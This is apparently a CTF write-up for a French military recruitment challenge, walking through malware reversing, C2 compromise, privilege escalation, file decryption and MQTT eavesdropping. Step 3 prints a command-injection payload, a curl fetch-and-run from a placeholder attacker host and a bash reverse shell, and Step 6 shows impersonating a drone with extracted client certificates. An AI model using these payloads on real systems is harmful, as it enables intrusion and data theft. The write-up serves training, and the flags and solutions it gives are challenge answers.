Writeup - ComCyber - Marine Nationale Recrutement CTF

2025-03-31 3723 words 18 minutes

Contents

Context

On March 3, 2025, the Commandement de la Cyberdéfense (ComCyber) and the Marine Nationale launched a unique challenge running until March 31, 2025. Created by Root-Me Pro, it is part of ComCyber’s recruitment campaign for cyber sous-officers.

This “realistic” challenge consists of several stages, each focusing on a specific professional domain:

Analysis
Forensic
Reverse Engineering
Web
Privileges Escalation
IoT

Introduction

The challenge begins with a homepage that introduces players to the context of the challenge, explains the objectives, and outlines the process. This homepage can be accessed at the following address:

https://marine.pro.root-me.org/

Players are then invited to click the “Start Challenge” button and fill out a form containing required and optional information.

Once the form is filled out, players can now login into and see a dashboard that presents the context and objectives of the mission.

The first mission aims to identify a drone that has flown over a military zone and issue an alert.

Step 1 - Analysis

We have received a set of surveillance images showing an unknown drone flying close to a military vessel. The aim is to extract visual clues from these images in order to determine the drone’s manufacturer and serial number. The extracted serial number follows the RM{Serial Number} format. By analyzing the images, the results are as follows:

cam1_pic1.png: shows a drone flying over a military ship. The image contains various user interface elements. Zoom in to see 6X9.

cam2_pic1.png : black and white thermal image of the drone, taken from a higher altitude. We detected the text 3BQ on the drone.

cam3_pic1.png: sharper image of the drone, revealing the 6X9 and AVP markings on its fuselage.

cam4_pic1.png : side shot where no additional serial number has been identified.

Once reconstructed, we obtain the drone’s serial number, which is the following flag:

RM{3BQAVP6X9}

Step 2 - Forensic/Reverse

In this step, we reverse-engineer the malware code to recover four values hidden inside the binary. We open the VPNUpdater.exe binary and the VPNUpdater.dll file in the DNSpy tool and note that some values are of interest. These values are returned by the L(), O(), N() and NBN() functions, and are as follows:

L() - C2 server URL
O() - user name
N() - password
NBN() - flag

The challenge is solved by understanding the encryption mechanism used in the C# code and reproducing the decryption process using Python. If you examine the C# source code, you’ll notice several important points:

Encryption/decryption routine

All secret strings are hidden as AES ciphertext, encoded in Base64. Decryption is performed by the function M(byte[] d, byte[] k, byte[] i) :

It creates an AES object, assigns it the key and initialization vector (IV), then uses a decryptor to recover the plaintext.
The AES parameters are the default (which, under .NET, means CBC mode with PKCS7 padding).

Key and IV generation

The key and IV used for AES are derived from the G() and H() functions respectively: G() returns a string constructed from an array of characters :

new string(new char[] { 
    (char)0x41, (char)0x41, (char)0x24, (char)0x46, (char)0x32, (char)0x2D,
    (char)0x44, (char)0x38, (char)0x43, (char)0x31, (char)0x45, (char)0x37,
    (char)0x42, (char)0x39, (char)0x46, (char)0x33, ...
});

This produces a string like :

AA$F2-D8C1E7B9F3@C8@!BB2E1F0A7C3D

During decryption, only the first 16 characters are used as the AES key:

AA$F2-D8C1E7B9F3

H() returns a similarly constructed string:

new string(new char[] { 
    (char)0x44, (char)0x31, (char)0x40, (char)0x45, (char)0x32, (char)0x23,
    (char)0x46, (char)0x33, (char)0x25, (char)0x41, (char)0x34, (char)0x42,
    (char)0x35, (char)0x26, (char)0x43, (char)0x36, ... 
});

This produces a string starting with :

D1@E2#F3%A4B5&C6...

Here again, the first 16 characters are used as IV :

D1@E2#F3%A4B5&C6

Secrets strings

Each of the four functions decrypts a Base64 string embedded in the code, using the key/IV above:

L() decrypt : OF/sfn87WwjfIX14p17jp8mu5uavNFecb4D97pgVfZc=
O() decrypt : 3Npd3p5V7JSh6JZ5gqRmZg==
N() decrypt : IeLkqcSXkaE8QamE7i4DEY3N7NmqJvAl1fzI7gIQkbo=
NBN() decrypt : Wil860ds3vJiRDi+iTntnfknYML8iTowJsQe0uwmTms=

Since decryption uses standard AES (CBC mode with PKCS7 padding), you can reproduce the process in Python (pip install pycryptodome).

#!/usr/bin/env python3
from Crypto.Cipher import AES
import base64
from Crypto.Util.Padding import unpad

def decrypt_no_unpad(ciphertext_b64, key, iv):
    ciphertext = base64.b64decode(ciphertext_b64)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(ciphertext)
    return unpad(decrypted, AES.block_size).decode('utf-8')

if __name__ == '__main__':
    key = b"AA$F2-D8C1E7B9F3"
    iv  = b"D1@E2#F3%A4B5&C6"       
    encrypted_url      = "OF/sfn87WwjfIX14p17jp8mu5uavNFecb4D97pgVfZc="
    encrypted_username = "3Npd3p5V7JSh6JZ5gqRmZg=="
    encrypted_password = "IeLkqcSXkaE8QamE7i4DEY3N7NmqJvAl1fzI7gIQkbo="
    encrypted_flag   = "Wil860ds3vJiRDi+iTntnfknYML8iTowJsQe0uwmTms="
    
    # Decrypt credentials
    c2_url   = decrypt_no_unpad(encrypted_url, key, iv)
    username = decrypt_no_unpad(encrypted_username, key, iv)
    password = decrypt_no_unpad(encrypted_password, key, iv)
    flag     = decrypt_no_unpad(encrypted_flag, key, iv)
    
    print("C2 URL:    ", c2_url)
    print("Username:  ", username)
    print("Password:  ", password)
    print("Flag:      ", flag)

Once the python script is executed, we have the following output:

('C2 URL:    ', u'http://163.172.66.233:3000')
('Username:  ', u'admin')
('Password:  ', u'wqHQBzgxXZ6mhpdbvL2KfE')
('Flag:      ', u'RM{zd7aWBS98uRprCoLjqhKkx}')

Step 3 - Web

The step description indicates that we need to find a vulnerability allowing us to access the Command & Control (C2) server. We have the IP address and port of C2, obtained in the previous step: 163.172.66.233:3000

A port scan on the server’s IP address using nmap reveals 2 open ports:

╰─λ nmap -T5 -sC -Pn 163.172.66.233
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-19 18:40 CET
Nmap scan report for 163-172-66-233.rev.poneytelecom.eu (163.172.66.233)
Host is up (0.013s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
25/tcp   filtered smtp
3000/tcp open     ppp
5000/tcp open     upnp

Nmap done: 1 IP address (1 host up) scanned in 1.48 seconds

2 ports (3000/tcp, 5000/tcp) are accessible from the Internet. The use of netcat allows you to identify that the services listening on these two ports are in fact HTTP servers (and not ppp/upnp):

Accessing both services from a browser, the service on port 3000 gives nothing of interest, but the service on port 5000 gives access to a connection panel to what appears to be a Command & Control interface.

Using the login details obtained in the previous step (admin:wqHQBzgxXZ6mhpdbvL2KfE), we gain access to the C2 administration panel:

This administration interface is very minimalist, however on active agents (click on an agent from the list), a functionality to refresh their status is available:

In the console, what appears to be the command used to check whether the agent is online or not is displayed.

By intercepting the request made in Burp, we can modify and replay it. Based on the command displayed in the console, we can build a malicious payload to perform an injection resulting in a command execution.

{"agent_id":"1\") print $4} BEGIN{system(\"/usr/bin/id\")} {if($1==\"agent"}

By modifying the injection previously obtained, it is possible to obtain a reverse shell with the following payload:

{"agent_id":"1\") print $4} BEGIN{system(\"curl http://ip.attaquant.local:4445/exp.sh > /tmp/exp.sh && /bin/bash /tmp/exp.sh \")} {if($1==\"agent"}

And the following exp.sh content:

/bin/bash -i >& /dev/tcp/ip.attacker.local/4444 0>&1

The flag is contained in the file flag_3.txt :

RM{dfbc2fb4c76b315aa6fa06e5f35aef23b1da32f5}

Step 4 - Privileges Escalation

System enumeration reveals several interesting points:

A cronjob running every 5 minutes in /etc/cron.d/backup
A backup script in /opt/backup.sh launched by the cronjob
permission preventing you from listing items in /tmp/
A (non-readable) backup folder in the root directory
An api folder (not readable) at root
A readable log file at /var/log/backup.log written by /opt/backup.sh

Let’s start by analyzing the /opt/backup.sh script. This sequence of shell commands saves the secrets (/api/secrets.json) in a /backup folder to which we have no access.

#!/usr/bin/env bash

BACKUP_DIR="/backup"
LOG_FILE="/var/log/backup.log"
BKP_FILE="/api/secrets.json"

log() {
    local log_msg=$1
    echo "$(/usr/bin/date -u) - ${log_msg}" >> ${LOG_FILE}
}

backup() {
    local DATE=$(/usr/bin/date +%s)
    local DIR="/tmp/${DATE}"
    /usr/bin/mkdir -m 755 -p "${DIR}" && /usr/bin/chown -R administrator:administrator "${DIR}" 
    log "Copying secrets file to temporary directory"
    /usr/bin/cp "${BKP_FILE}" "${DIR}/secrets_${DATE}.json"
    log "Compressing secrets file and moving it to backup directory"
    /usr/bin/gzip "${DIR}/secrets_${DATE}.json" && /usr/bin/cp "${DIR}/secrets_${DATE}.json.gz" "${BACKUP_DIR}/secrets_${DATE}.json.gz"
    log "Backup done" 
    log "Removing temporary directory"
    clear_tmp
}

clear_tmp() {
    # Make sure everything that we have done is deleted from /tmp
    /usr/bin/rm -rf /tmp/*
    log "Temporary directory cleared"
    exit 0
}

log "Backup script started"

if [ ! -d ${BACKUP_DIR} ]; then
    log "Backup directory does not exist, exiting"
    exit 1
fi

if [ -z "$(/usr/bin/ls -A ${BACKUP_DIR})" ]; then
    log "No backup found, initiating a new backup..."
    backup
else
    NEWEST_BKP=$(/usr/bin/ls -t "${BACKUP_DIR}" | /usr/bin/head -n 1)
    SHA_NEWEST_BKP=$(/usr/bin/gzip -d -c "${BACKUP_DIR}/${NEWEST_BKP}" | /usr/bin/sha256sum | /usr/bin/awk '{print $1}')
    SHA_LATEST=$(/usr/bin/sha256sum "${BKP_FILE}" | /usr/bin/awk '{print $1}')

    if [ "${SHA_NEWEST_BKP}" != "${SHA_LATEST}" ]; then
        log "New backup needed, initiating a new backup..."
        backup
    else
        log "No new backup needed, exiting"
        exit 0
    fi
fi

It performs a series of actions, as follows:

Check that the /backup folder exists
Check that a backup does not already exist
If no backup exists, it creates the backup
If a backup exists, compare its sum with the current state of secrets
If the state is the same as the previous backup, then nothing is done
If the current state of secrets is different from the last backup, then a new backup is launched.

Let’s take a closer look at the backup() and clear_tmp() functions:

backup() {
    local DATE=$(/usr/bin/date +%s)
    local DIR="/tmp/${DATE}"
    /usr/bin/mkdir -m 755 -p "${DIR}" && /usr/bin/chown -R administrator:administrator "${DIR}" 
    log "Copying secrets file to temporary directory"
    /usr/bin/cp "${BKP_FILE}" "${DIR}/secrets_${DATE}.json"
    log "Compressing secrets file and moving it to backup directory"
    /usr/bin/gzip "${DIR}/secrets_${DATE}.json" && /usr/bin/cp "${DIR}/secrets_${DATE}.json.gz" "${BACKUP_DIR}/secrets_${DATE}.json.gz"
    log "Backup done" 
    log "Removing temporary directory"
    clear_tmp
}
clear_tmp() {
    # Make sure everything that we have done is deleted from /tmp
    /usr/bin/rm -rf /tmp/*
    log "Temporary directory cleared"
    exit 0
}

In the /tmp directory (which, due to permissions, does not allow us to list files/folders), a folder is created with the date in epoch format, with permissions 755 (which means we can read the contents). Secrets are then copied into this directory, which we can read, then compressed and copied (without being deleted) to the /backup directory, which is not readable.

Immediately afterwards, the clear_tmp function is instructed to empty the /tmp directory. However, the author of the script makes a mistake here: since it’s not possible to list files in /tmp and the script is run as administrator (not root), use of the wildcard * doesn’t work in this context, so no files are actually removed from /tmp/.

This means that the directory created and the files copied are still present, even after the script has been run. Correlating:

The fact that the directory created in /tmp is readable by everyone
File deletion error due to t permission on /tmp and use of wildcard *.
The contents of the logs in /var/log/backup.log, which display date and time.

It is possible to find the name of the folder and file that has been compressed and then read its contents. Looking at the contents of the logs, we find that a backup was made on Tue Feb 11 16:35:00 UTC 2025:

c2-web@a8f3afe5d338:/etc/cron.d$ cat /var/log/backup.log 
Tue Feb 11 16:35:00 UTC 2025 - Backup script started
Tue Feb 11 16:35:00 UTC 2025 - No backup found, initiating a new backup...
Tue Feb 11 16:35:00 UTC 2025 - Copying secrets file to temporary directory
Tue Feb 11 16:35:00 UTC 2025 - Compressing secrets file and moving it to backup directory
Tue Feb 11 16:35:00 UTC 2025 - Backup done
Tue Feb 11 16:35:00 UTC 2025 - Removing temporary directory
Tue Feb 11 16:35:00 UTC 2025 - Temporary directory cleared

This date can be converted to epoch with :

c2-web@a8f3afe5d338:/etc/cron.d$ date -d "Tue Feb 11 16:35:00 UTC 2025" +%s
1739291700

Then we can go to the folder and list its contents:

c2-web@a8f3afe5d338:/tmp/1739291700$ cd /tmp/1739291700
c2-web@a8f3afe5d338:/tmp/1739291700$ ls -lahv
total 12K
drwxr-xr-x 2 root          root          4.0K Feb 19 18:49 .
drwxrwx-wt 1 root          root          4.0K Feb 19 19:45 ..
-rw-r--r-- 1 administrator administrator  192 Feb 19 16:28 secrets_1739291700.json.gz

And read the content of secrets :

c2-web@a8f3afe5d338:/tmp/1739291700$ gzip -d -c secrets_1739291700.json.gz 
{
    "admin": [
      "01f4d362ecdd89d26f5f0c5e6b2afe93",
      "35319a21dbe2ced1a7da56c2d717bb0d",
      "d7a6f9650e30eb65f8f6506c6d170b9a"
    ],
    "flag_4": "RM{3b62b1a157a85a06423f930058baf3e305292d35}"
  }

Flag : RM{3b62b1a157a85a06423f930058baf3e305292d35}

Step 5 - Forensic

Since we’ve already reverse-engineered the malware, we’ve reconstructed the key, or at least part of the key. To decrypt the files, we need the following values:

Static key
Initialization vector
Dynamic key
Encrypted folder name
Malware launch date

1. Static key

This key is hard-coded into the malware. For example, the malware creates the key as follows:

new string(new char[] { 
    (char)0x41, (char)0x41, (char)0x24, (char)0x46, (char)0x32, (char)0x2D,
    (char)0x44, (char)0x38, (char)0x43, (char)0x31, (char)0x45, (char)0x37,
    (char)0x42, (char)0x39, (char)0x46, (char)0x33, ...
});

2. Initialization vector

This IV is also hard-coded into the malware. The malware creates the IV as follows:

static string H()
{
    char[] a = new char[] {
(char)0x44,(char)0x31,(char)0x40,(char)0x45,(char)0x32,(char)0x23,(char)0x46,(char)0x33,(char) 0x25,(char)0x41,(char)0x34,(char)0x42,(char)0x35,(char)0x26,(char)0x43,(char)0x36,(cha r)0x44,(char)0x31,(char)0x40,....

3. Dynamic key

This key was obtained when the C2 server was compromised. In the secrets.json file, it appears as follows:

/app # cat secrets.json 
{
  "admin": [
    [...],
    "35319a21dbe2ced1a7da56c2d717bb0d",
   [...],
  ]
}

4. Encrypted folder name & Malware launch date

Now that we have these three values, we need to determine the date and folder name used for encryption. This information is essential for reconstructing the key. The SOC has recovered the EVTX file from the compromised machine. A quick search shows that process creation events are recorded under the ID 4688. We can filter according to this ID, then search for a VPNUpdater.exe process.

After further analysis, we found a process creation event for VPNUpdater.exe which receives a folder parameter corresponding to the \DC01\shares\private share.

This retrieves the two missing pieces of information: the folder name and the timestamp:

Folder : \\dc01\shares\private
Date : 2025-02-11T16:28:16Z

We now have all the information we need to create a Python script that takes these values as input, as well as an encrypted file, and decrypts it.

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64decode
import hashlib
import sys
import os

def compute_composite_key(dynamic_key, static_key, folder, timestamp):
    input_data = dynamic_key + static_key + folder + timestamp
    sha256 = hashlib.sha256()
    sha256.update(input_data.encode('ascii'))
    return sha256.digest()

def decrypt_file(encrypted_file_path, composite_key, iv):
    backend = default_backend()
    cipher = Cipher(algorithms.AES(composite_key), modes.CBC(iv), backend=backend)
    decryptor = cipher.decryptor()

    with open(encrypted_file_path, 'rb') as encrypted_file:
        encrypted_data = encrypted_file.read()

    decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
    decrypted_file_path = encrypted_file_path.rstrip('.enc')
    with open(decrypted_file_path, 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

    print(f"File decrypted: {decrypted_file_path}")

def main():
    if len(sys.argv) != 7:
        print("Usage: python decrypt.py <dynamic_key> <fixed_key> <folder> <date> <iv> <encrypted_file>")
        sys.exit(1)

    dkey = sys.argv[1]
    fkey = sys.argv[2]
    folder = sys.argv[3]
    date = sys.argv[4]
    iv = sys.argv[5].encode('utf-8')
    encrypted_file = sys.argv[6]

    composite_key = compute_composite_key(dkey, fkey, folder, date)
    decrypt_file(encrypted_file, composite_key, iv)

if __name__ == "__main__":
    main()

To run the script and decrypt the file, use the following command:

python3 decrypt_files.py '35319a21dbe2ced1a7da56c2d717bb0d' 'AA$F2-D8C1E7B9F3A35@C8@!BB2E1F0A7C3D' '\\dc01\shares\private' '2025-02-11T16:28:16Z' 'D1@E2#F3%A4B5&C6' crew_list.html.enc

Executing this command will decrypt the file and reveal the flag.

Flag : RM{PhLRCrYv2Ay4bxdGVm8Dct}

Step 6 - IoT

This step begins by analyzing the flash.bin file. We can start by extracting its metadata using the file and binwalk commands:

$ file flash.bin 
flash.bin: data

$ binwalk flash.bin 
DECIMAL       HEXADECIMAL  DESCRIPTION
-----------------------------------------------------------------------------
53536         0xD120       U-Boot version string, "U-Boot 1.1.3 (Sep  3 2020 - 16:10:48)"
66048         0x10200      LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes,..
1048576       0x100000     Squashfs filesystem, little endian, version 4.0, size: 3114 bytes, ...

This file appears to correspond to a system firmware. According to the instructions, this is probably the firmware used by the captured drone. This firmware seems to contain several partitions that are very typical of embedded systems (U-Boot, LZMA, SquashFS). We’ll now start by extracting the SquashFS partition present at offset 0x100000 and with a size of 3114 bytes. We can use the dd command to do this:

$ dd if=flash.bin of=03_sqfs.bin bs=1 skip=$((0x100000)) count=3114
$ file 03_sqfs.bin 
03_sqfs.bin: Squashfs filesystem, little endian, version 4.0, zlib compressed, 3114 bytes, ...

Now that we’ve extracted the partition, we can unpack it and access the data stored on it. To do this, we can use the unsquashfs command:

$ unsquashfs -d 03_sqfs 03_sqfs.bin

$ tree 03_sqfs
├── config.ini
├── PHANTOM-CA.crt
├── PHANTOM-CX-8.crt
├── PHANTOM-CX-8.key
└── PHANTOM-CX-8.pub
0 directories, 5 files

$ file 03_sqfs/*
03_sqfs/config.ini:       ASCII text
03_sqfs/PHANTOM-CA.crt:   ASCII text
03_sqfs/PHANTOM-CX-8.crt: ASCII text
03_sqfs/PHANTOM-CX-8.key: ASCII text
03_sqfs/PHANTOM-CX-8.pub: ASCII text

We then notice the presence of several certificates, including one associated with a certification authority named PHANTOM-CA:

$ openssl x509 -in 03_sqfs/PHANTOM-CA.crt -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            5d:39:00:81:4a:45:7c:c8:71:2f:83:f0:88:af:53:7a:a0:5a:68:97
        Signature Algorithm: ecdsa-with-SHA256
        Issuer: CN = PHANTOM-CA
        Validity
            Not Before: Feb 20 09:01:26 2025 GMT
            Not After : Jan 27 09:01:26 2125 GMT
        Subject: CN = PHANTOM-CA
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub:
                    04:00:83:92:2a:12:f4:98:b1:0a:e1:22:0e:6a:2c:
                    bb:b1:49:77:05:62:93:92:14:bc:3f:94:44:d3:cb:
                    2f:96:1e:12:b4:23:70:2b:1b:68:24:de:f4:e2:97:
                    1e:e9:e3:0a:c3:bc:cd:84:f4:87:ed:dc:1f:0e:6c:
                    18:71:51:98:cb
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Basic Constraints: critical
                CA:TRUE
            X509v3 Key Usage: critical
                Digital Signature, Certificate Sign, CRL Sign
            X509v3 Extended Key Usage: 
                TLS Web Server Authentication, TLS Web Client Authentication
...

As well as the presence of 3 files corresponding to the private key, public key and certificate of PHANTOM-CX-8:

$ openssl x509 -in 03_sqfs/PHANTOM-CX-8.crt -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            62:73:aa:8a:36:f8:84:e6:d0:9f:c3:26:3c:5f:9b:3c:79:a3:d9:0d
        Signature Algorithm: ecdsa-with-SHA256
        Issuer: CN = PHANTOM-CA
        Validity
            Not Before: Feb 20 09:58:46 2025 GMT
            Not After : Feb 18 09:58:46 2035 GMT
        Subject: CN = PHANTOM-CX-8
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub:
                    04:bc:92:c9:14:84:04:38:21:8e:c9:48:99:07:60:
                    3b:b7:9e:70:fd:55:0b:53:ef:fb:82:f6:b4:97:34:
                    ae:e8:0f:41:85:be:0a:33:a2:6c:37:76:58:5b:6d:
                    b9:97:16:9b:94:97:f9:06:28:2e:96:83:d1:36:f5:
                    ac:e9:f3:bc:62
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            X509v3 Extended Key Usage: 
                TLS Web Client Authentication
            X509v3 Subject Key Identifier: 
                26:9E:2A:2B:1B:1A:64:27:64:53:78:BE:EA:9C:CA:44:B9:BA:86:10
            X509v3 Authority Key Identifier: 
                5F:90:B8:72:42:48:B5:CC:B5:C6:F9:24:82:E1:AE:B1:2A:5D:57:3E
...

We also note that the PHANTOM-CX-8.crt certificate is limited to TLS Web Client Authentication use. This indicates that it appears to be used to access a resource requiring mandatory client authentication. Finally, the contents of config.ini appear to be a configuration file, probably used by the drone for nominal operation. It includes :

A global section indicating an account name and password, a version number, a device name, its crypto method and its identifier;

[global]
user  = admin
secret  = nimda
soft_version = 8.9.1
device_name = PHANTOM-XC-8
device_crypto = md4
device_id = fc92b2536b52521b916dfaa43ea0be05

The wireless and softap sections provide information on Wi-Fi configuration;

[wireless]
ssid  = PHANTOM-REMOTE-CONTROLE
mode  = Infra
security = 3
password = 3BQAVP6X9
running  = station
cloud_connected= 1

[softap]
s_ssid  = PHANTOM-FACTORY
s_password = factory

The video, record, camera and image sections, which seem to give configuration information on the method of capture performed by the drone;
A cloud section defining the terms lorawan and mqtt ;

[cloud]
lorawan  = 0
mqtt  = 1

An mqtt section providing connectivity information (IP address, port number, endpoint, etc.);

[mqtt]
srv_addr = 212.83.175.198
srv_port = 17883
srv_sec  = mTLS
srv_endpoint = drones/DEVICE_ID
timeout_push = 5
timeout_pull = 5

A ping section giving information on a connectivity test.

[ping]
ping_enable = 1
ping_try = 5
ping_split = 10
ping_ip  = 212.83.175.198

As a reminder, the aim of this step is to be able to anticipate potential new attacks. The interesting information seems to be linked to this cloud connectivity of the mqtt type, whose configuration is as follows:

[mqtt]
srv_addr = 212.83.175.198
srv_port = 17883
srv_sec  = mTLS
srv_endpoint = drones/DEVICE_ID
timeout_push = 5
timeout_pull = 5

After a little research, we understand that the MQTT communication protocol is often used in connected objects for information and metrics feedback. The drone probably uses this protocol to send information back to the attacker’s central server. Our objective will be to try and usurp the identity of the drone we’ve captured.

MQTT is a protocol offering different authentication methods:

Anonymous ;
Login + password ;
mTLS (mutual TLS).

According to the srv_sec = mTLS configuration, the mutual TLS method is used. Under Linux, we can use the mosquitto project, which enables interaction with MQTT servers:

$ apt install mosquitto-clients

According to mosquitto’s documentation, to set up mTLS authentication, you’ll need to provide the following elements in order to listen to published messages (subscriber role):

IP address of MQTT server (called broker) ;
MQTT server port number;
Listening Topic;
Certificate authority certificate ;
Client certificate ;
Customer’s private key.

We have all the above information, except for the topic. This can be deduced from the following configuration elements:

[global]
user  = admin
secret  = nimda
soft_version = 8.9.1
device_name = PHANTOM-XC-8
device_crypto = md4
device_id = fc92b2536b52521b916dfaa43ea0be05

[mqtt]
srv_addr = 212.83.175.198
srv_port = 17883
srv_sec  = mTLS
srv_endpoint = drones/DEVICE_ID
timeout_push = 5
timeout_pull = 5

We can see that the srv_endpoint attribute is set to drones/DEVICE_ID and that the device_id attribute above contains fc92b2536b52521b916dfaa43ea0be05. We can then assume that the topic is drones/fc92b2536b52521b916dfaa43ea0be05.

We can thus construct the following command:

$ mosquitto_sub -h 212.83.175.198 -p 17883 --cafile ./PHANTOM-CA.crt --cert ./PHANTOM-CX-8.crt --key ./PHANTOM-CX-8.key -t 'drones/fc92b2536b52521b916dfaa43ea0be05' --insecure -v
drones/fc92b2536b52521b916dfaa43ea0be05 14,107,11
drones/fc92b2536b52521b916dfaa43ea0be05 178,44,208
drones/fc92b2536b52521b916dfaa43ea0be05 168,164,199
...

We then notice that metrics are being sent to the topic drones/fc92b2536b52521b916dfaa43ea0be05. Since our aim is to identify and anticipate the presence of new drones, we need to find a way of monitoring the information sent to other drones used by the attacker. As mentioned, the notion of topic allows us to distinguish the different destinations of the data sent. Knowledge of the value fc92b2536b52521b916dfaa43ea0be05, which corresponds to the device_id attribute, seems to play the role of secret, as this value seems to be unique for each drone. Our objective is therefore to find the values associated with the other UAVs.

[global]
user  = admin
secret  = nimda
soft_version = 8.9.1
device_name = PHANTOM-XC-8
device_crypto = md4
device_id = fc92b2536b52521b916dfaa43ea0be05

If we go back to the global section, we see that the device_crypto attribute has the value md4. After a little research, we understand that md4 is the old version of the md5 hash algorithm. Is the device_id the result of an md4 calculation?

> python3
>>> from Crypto.Hash import MD4
>>> MD4.new('PHANTOM-CX-8'.encode('utf-8')).hexdigest()
'fc92b2536b52521b916dfaa43ea0be05'

If we know the device_name, we can find the device_id! The format of the device_name seems to be PHANTOM-XC-N, with N ranging from 0 to 9. Let’s try to calculate all possible device_ids:

> python3
>>> from Crypto.Hash import MD4

>>> MD4.new('PHANTOM-CX-0'.encode('utf-8')).hexdigest()
'a6db0dd105f383d85a5b377e1eaa345c'
>>> MD4.new('PHANTOM-CX-1'.encode('utf-8')).hexdigest()
'759aac5f6088127cc0a8595e64f6e5a3'
>>> MD4.new('PHANTOM-CX-2'.encode('utf-8')).hexdigest()
'a6bcf8e8bb6d25740fbe1da6ab7c4a7e'
>>> MD4.new('PHANTOM-CX-3'.encode('utf-8')).hexdigest()
'1ffda6ad911b3486b705c67ae443fa7e'
>>> MD4.new('PHANTOM-CX-4'.encode('utf-8')).hexdigest()
'cd71ffa32caa8397d34d032b0ae1dfcc'
>>> MD4.new('PHANTOM-CX-5'.encode('utf-8')).hexdigest()
'd170b3e7353514bed8bfdd96b1da191b'
>>> MD4.new('PHANTOM-CX-6'.encode('utf-8')).hexdigest()
'9b1968949cce839c75ac21a42b324321'
>>> MD4.new('PHANTOM-CX-7'.encode('utf-8')).hexdigest()
'd1f9407dda41eb2cc786e2ba5135eba8'
>>> MD4.new('PHANTOM-CX-8'.encode('utf-8')).hexdigest()
'fc92b2536b52521b916dfaa43ea0be05'
>>> MD4.new('PHANTOM-CX-9'.encode('utf-8')).hexdigest()
'519cfa34ff385c27d7397993563a67c2'

We can now re-use the mosquitto_sub command, specifying all the topics:

$ mosquitto_sub -h mqtt.phant.om -p 17883 --cafile ./PHANTOM-CA.crt --cert ./PHANTOM-CX-8.crt --key ./PHANTOM-CX-8.key \
-t 'drones/a6db0dd105f383d85a5b377e1eaa345c' -t 'drones/759aac5f6088127cc0a8595e64f6e5a3' \
-t 'drones/a6bcf8e8bb6d25740fbe1da6ab7c4a7e' -t 'drones/1ffda6ad911b3486b705c67ae443fa7e' \
-t 'drones/cd71ffa32caa8397d34d032b0ae1dfcc' -t 'drones/d170b3e7353514bed8bfdd96b1da191b' \
-t 'drones/9b1968949cce839c75ac21a42b324321' -t 'drones/d1f9407dda41eb2cc786e2ba5135eba8' \
-t 'drones/fc92b2536b52521b916dfaa43ea0be05' -t 'drones/519cfa34ff385c27d7397993563a67c2' --insecure -v

drones/d1f9407dda41eb2cc786e2ba5135eba8 83,247,123
drones/1ffda6ad911b3486b705c67ae443fa7e 98,122,231
...
drones/d1f9407dda41eb2cc786e2ba5135eba8 RM{1fec149c355b1c816c3bb60ad27b56c4ccbf}

We notice that, unlike before, we’re receiving metrics from several drones. After a few seconds of waiting, we get the validation flag for this last stage of the challenge! The attacker seems to have misconfigured the ACL system on the MQTT server, allowing all communications to be listened in on.

Flag : RM{1fec149c355b1c816c3bb60ad27b56c4ccbf}